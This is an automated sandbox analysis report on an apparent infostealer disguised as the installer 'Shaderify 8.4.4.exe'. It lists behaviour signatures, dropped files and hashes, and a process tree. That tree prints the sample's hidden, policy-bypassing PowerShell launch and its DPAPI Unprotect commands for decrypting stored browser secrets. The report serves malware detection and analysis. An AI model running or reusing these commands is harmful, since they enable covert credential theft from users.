Analysis

  • max time kernel
    134s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/06/2024, 09:47

General

  • Target
    Shaderify 8.4.4.exe
  • Size 53.4MB
  • Sample240603-lr74esae3s
  • SHA256 dd4ce9e1a9daf52b9264ed81d72af9a0c7037d4f09af1883bce0faaeef91e914
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Shaderify 8.4.4.exe
    "C:\Users\Admin\AppData\Local\Temp\Shaderify 8.4.4.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3560
    • C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\Shaderify.exe
      C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\Shaderify.exe
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2472
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\edge\Updater\Get-Clipboard.ps1""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2640
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\edge\Updater\Get-Clipboard.ps1"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5016
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zyipflkp\zyipflkp.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4900
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES67C2.tmp" "c:\Users\Admin\AppData\Local\Temp\zyipflkp\CSC442EA518B586492B98A0FAB9AEB2D3.TMP"
              6⤵
                PID:1572
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "tasklist"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5072
          • C:\Windows\system32\tasklist.exe
            tasklist
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:448
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,158,56,123,155,119,128,226,65,189,77,45,80,19,37,26,47,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,143,8,155,162,221,184,73,71,232,222,51,145,193,115,97,9,130,241,224,103,6,120,76,14,50,215,61,172,124,159,238,253,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,99,253,1,12,244,37,76,196,250,204,121,176,50,84,44,171,164,192,123,43,73,12,147,211,193,42,15,39,95,26,62,201,48,0,0,0,199,59,41,134,72,150,192,161,125,143,33,114,13,155,6,139,72,133,43,120,135,38,24,218,101,6,176,207,210,73,64,67,238,175,209,152,192,141,196,93,4,159,79,39,108,201,81,243,64,0,0,0,47,182,203,76,22,230,198,116,189,169,35,195,147,254,206,160,141,223,22,83,122,129,208,253,101,155,106,250,254,105,139,55,133,60,233,210,239,137,168,177,165,144,32,46,241,126,232,206,117,88,178,220,23,105,81,227,111,16,111,158,78,1,233,96), $null, 'CurrentUser')"
          3⤵
          • An obfuscated cmd.exe command-line is typically used to evade detection.
          • Suspicious use of WriteProcessMemory
          PID:2584
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,158,56,123,155,119,128,226,65,189,77,45,80,19,37,26,47,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,143,8,155,162,221,184,73,71,232,222,51,145,193,115,97,9,130,241,224,103,6,120,76,14,50,215,61,172,124,159,238,253,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,99,253,1,12,244,37,76,196,250,204,121,176,50,84,44,171,164,192,123,43,73,12,147,211,193,42,15,39,95,26,62,201,48,0,0,0,199,59,41,134,72,150,192,161,125,143,33,114,13,155,6,139,72,133,43,120,135,38,24,218,101,6,176,207,210,73,64,67,238,175,209,152,192,141,196,93,4,159,79,39,108,201,81,243,64,0,0,0,47,182,203,76,22,230,198,116,189,169,35,195,147,254,206,160,141,223,22,83,122,129,208,253,101,155,106,250,254,105,139,55,133,60,233,210,239,137,168,177,165,144,32,46,241,126,232,206,117,88,178,220,23,105,81,227,111,16,111,158,78,1,233,96), $null, 'CurrentUser')
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1240
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,158,56,123,155,119,128,226,65,189,77,45,80,19,37,26,47,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,204,23,200,182,199,212,101,234,51,160,20,157,150,146,144,151,39,93,3,161,164,186,212,226,57,101,160,86,167,155,8,7,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,184,144,186,180,174,237,163,184,95,232,101,63,21,177,75,98,215,199,36,30,80,192,146,63,77,115,21,70,102,42,166,165,48,0,0,0,117,126,67,77,96,159,142,116,174,11,86,56,11,231,226,145,7,63,8,207,34,20,54,206,115,112,214,184,19,252,2,122,95,58,116,12,104,15,223,163,49,195,63,147,96,226,86,246,64,0,0,0,114,72,103,37,120,230,180,221,228,136,240,64,66,22,120,71,192,126,130,46,213,57,1,27,188,210,151,225,138,111,6,223,99,131,127,243,133,142,61,229,60,15,180,41,8,227,3,169,15,181,32,167,8,219,218,233,217,48,253,19,227,158,119,122), $null, 'CurrentUser')"
          3⤵
          • An obfuscated cmd.exe command-line is typically used to evade detection.
          • Suspicious use of WriteProcessMemory
          PID:4812
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,158,56,123,155,119,128,226,65,189,77,45,80,19,37,26,47,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,204,23,200,182,199,212,101,234,51,160,20,157,150,146,144,151,39,93,3,161,164,186,212,226,57,101,160,86,167,155,8,7,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,184,144,186,180,174,237,163,184,95,232,101,63,21,177,75,98,215,199,36,30,80,192,146,63,77,115,21,70,102,42,166,165,48,0,0,0,117,126,67,77,96,159,142,116,174,11,86,56,11,231,226,145,7,63,8,207,34,20,54,206,115,112,214,184,19,252,2,122,95,58,116,12,104,15,223,163,49,195,63,147,96,226,86,246,64,0,0,0,114,72,103,37,120,230,180,221,228,136,240,64,66,22,120,71,192,126,130,46,213,57,1,27,188,210,151,225,138,111,6,223,99,131,127,243,133,142,61,229,60,15,180,41,8,227,3,169,15,181,32,167,8,219,218,233,217,48,253,19,227,158,119,122), $null, 'CurrentUser')
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4208
        • C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\Shaderify.exe
          "C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\Shaderify.exe" --type=gpu-process --field-trial-handle=1804,16734063316386581723,925908392957392502,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1812 /prefetch:2
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:736
        • C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\Shaderify.exe
          "C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\Shaderify.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1804,16734063316386581723,925908392957392502,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2200 /prefetch:8
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:1252
        • C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\Shaderify.exe
          "C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\Shaderify.exe" --type=gpu-process --field-trial-handle=1804,16734063316386581723,925908392957392502,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=2120 /prefetch:2
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:1240
    • C:\Windows\System32\CompPkgSrv.exe
      C:\Windows\System32\CompPkgSrv.exe -Embedding
      1⤵
        PID:5104

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            Get-Clipboard.ps1

            • Path C:\ProgramData\edge\Updater\Get-Clipboard.ps1
            • Size 3KB
            • SHA256 892a9edb03db3fd88fecc1e1a2f56a7339f16f6734e8d77e6538ea2c8c9026d6
            • MD5 SHA1 SHA512

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 3ae35c2828715a2f9a5531d334a0cfffc81396c2dc058ca42a9943f3cdc22e78
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 0937d02e49f29b26b70ae49a9709208b79a25cb2b927251e5ef2cce71942638d
            • MD5 SHA1 SHA512

            09af70a9-862f-4d0a-89c6-5ab85ea5bb83.tmp.node

            • Path C:\Users\Admin\AppData\Local\Temp\09af70a9-862f-4d0a-89c6-5ab85ea5bb83.tmp.node
            • Size 1.4MB
            • SHA256 6aa8763714aa5199a4065259af792292c2a7d6a2c381aa27007255421e5c9d8c
            • MD5 SHA1 SHA512 SSDEEP

            Admincookies.zip

            • Path C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\Admincookies.zip
            • Size 22B
            • SHA256 8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85
            • MD5 SHA1 SHA512

            D3DCompiler_47.dll

            • Path C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\D3DCompiler_47.dll
            • Size 4.3MB
            • SHA256 44422e6936dc72b7ac5ed16bb8bcae164b7554513e52efb66a3e942cec328a47
            • MD5 SHA1 SHA512 SSDEEP

            chrome_100_percent.pak

            • Path C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\chrome_100_percent.pak
            • Size 121KB
            • SHA256 5ae14147992a92548bcad76867dd88cdfcdb69d951c8720920cce6fb135e3189
            • MD5 SHA1 SHA512 SSDEEP

            chrome_200_percent.pak

            • Path C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\chrome_200_percent.pak
            • Size 181KB
            • SHA256 dd8146b2ee289e4d54a4a0f1fd3b2f61b979c6a2baaba96a406d96c3f4fdb33b
            • MD5 SHA1 SHA512 SSDEEP

            ffmpeg.dll

            • Path C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\ffmpeg.dll
            • Size 2.7MB
            • SHA256 42a2a996ac433ac33a22776b8418a82753557093d90147b7951138b5c83924b6
            • MD5 SHA1 SHA512 SSDEEP

            icudtl.dat

            • Path C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\icudtl.dat
            • Size 10.0MB
            • SHA256 df876c7af43ed93eec6aea4d2d55c805009c219653cdeb368f1d048f4922b108
            • MD5 SHA1 SHA512 SSDEEP

            libegl.dll

            • Path C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\libegl.dll
            • Size 438KB
            • SHA256 f2a841b6ef320f226965c7cb01fbc4709fc31425e490a3edfa20147ce3656c85
            • MD5 SHA1 SHA512 SSDEEP

            libglesv2.dll

            • Path C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\libglesv2.dll
            • Size 7.3MB
            • SHA256 a81729fd6ee2d64dfc47501a1d53794cdeee5c1daa3751f7554aea2503686d10
            • MD5 SHA1 SHA512 SSDEEP

            en-US.pak

            • Path C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\locales\en-US.pak
            • Size 83KB
            • SHA256 d1d3f892be16329c79f9a8ee8c5fa1c9fb46d17edfeb56a3d9407f9d7587a0de
            • MD5 SHA1 SHA512 SSDEEP

            resources.pak

            • Path C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\resources.pak
            • Size 4.8MB
            • SHA256 7b953443e3cd54a0a4775528b52fbfe5ebecbc2c71731600ed0999d227969506
            • MD5 SHA1 SHA512 SSDEEP

            app.asar

            • Path C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\resources\app.asar
            • Size 12.3MB
            • SHA256 781877bb7bbe002e7dacbadc65241df8ae5842b8db297f61c8786fb8e7bab09b
            • MD5 SHA1 SHA512 SSDEEP

            v8_context_snapshot.bin

            • Path C:\Users\Admin\AppData\Local\Temp\2hKz7RyNFzXpF3YD41CyAiQnqEJ\v8_context_snapshot.bin
            • Size 168KB
            • SHA256 4a67de195878d290f49b503b83e415917b8bbcbd9936b07a5d33b48e9bc6e0a3
            • MD5 SHA1 SHA512 SSDEEP

            RES67C2.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES67C2.tmp
            • Size 1KB
            • SHA256 6108e7cce3de3727da00080164f61d375e726e83cb4a60d116922916f5414d33
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_k3jjdbmk.fpn.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k3jjdbmk.fpn.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            StdUtils.dll

            • Path C:\Users\Admin\AppData\Local\Temp\nsf541C.tmp\StdUtils.dll
            • Size 101KB
            • SHA256 72d38ef115e71fc73dc5978987c583fc8c6b50ff12e4a5d30649a4d164a8b6ae
            • MD5 SHA1 SHA512 SSDEEP

            System.dll

            • Path C:\Users\Admin\AppData\Local\Temp\nsf541C.tmp\System.dll
            • Size 11KB
            • SHA256 a632d74332b3f08f834c732a103dafeb09a540823a2217ca7f49159755e8f1d7
            • MD5 SHA1 SHA512 SSDEEP

            nsis7z.dll

            • Path C:\Users\Admin\AppData\Local\Temp\nsf541C.tmp\nsis7z.dll
            • Size 391KB
            • SHA256 66ac8bd1f273a73e17a3f31d6add739d3cb0330a6417faeda11a9cae00b62d8b
            • MD5 SHA1 SHA512 SSDEEP

            zyipflkp.dll

            • Path C:\Users\Admin\AppData\Local\Temp\zyipflkp\zyipflkp.dll
            • Size 3KB
            • SHA256 f9166045d42e1306b7c4dd84bd4261455bc714744ff2b65ceb8dfa5c2638b997
            • MD5 SHA1 SHA512

            CSC442EA518B586492B98A0FAB9AEB2D3.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\zyipflkp\CSC442EA518B586492B98A0FAB9AEB2D3.TMP
            • Size 652B
            • SHA256 c113b69c698b779ee3075aa798a56f8c525eb7c791bba4071c898af6081e9e8d
            • MD5 SHA1 SHA512

            zyipflkp.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\zyipflkp\zyipflkp.0.cs
            • Size 426B
            • SHA256 a81f86cd4d33ebbf2b725df6702b8f6b3c31627bf52eb1cadc1e40b1c0c2bb35
            • MD5 SHA1 SHA512

            zyipflkp.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\zyipflkp\zyipflkp.cmdline
            • Size 369B
            • SHA256 24643f87d81dce65142b56f13f818c2d41a72d7b107da21c66ce18fd7f013a1f
            • MD5 SHA1 SHA512

            memory/736-241-0x00007FFC83400000-0x00007FFC83401000-memory.dmp

            memory/1240-210-0x00000271FC650000-0x00000271FC6A0000-memory.dmp

            memory/5016-198-0x000001D1DC3E0000-0x000001D1DC3E8000-memory.dmp

            memory/5016-182-0x000001D1F68C0000-0x000001D1F68E2000-memory.dmp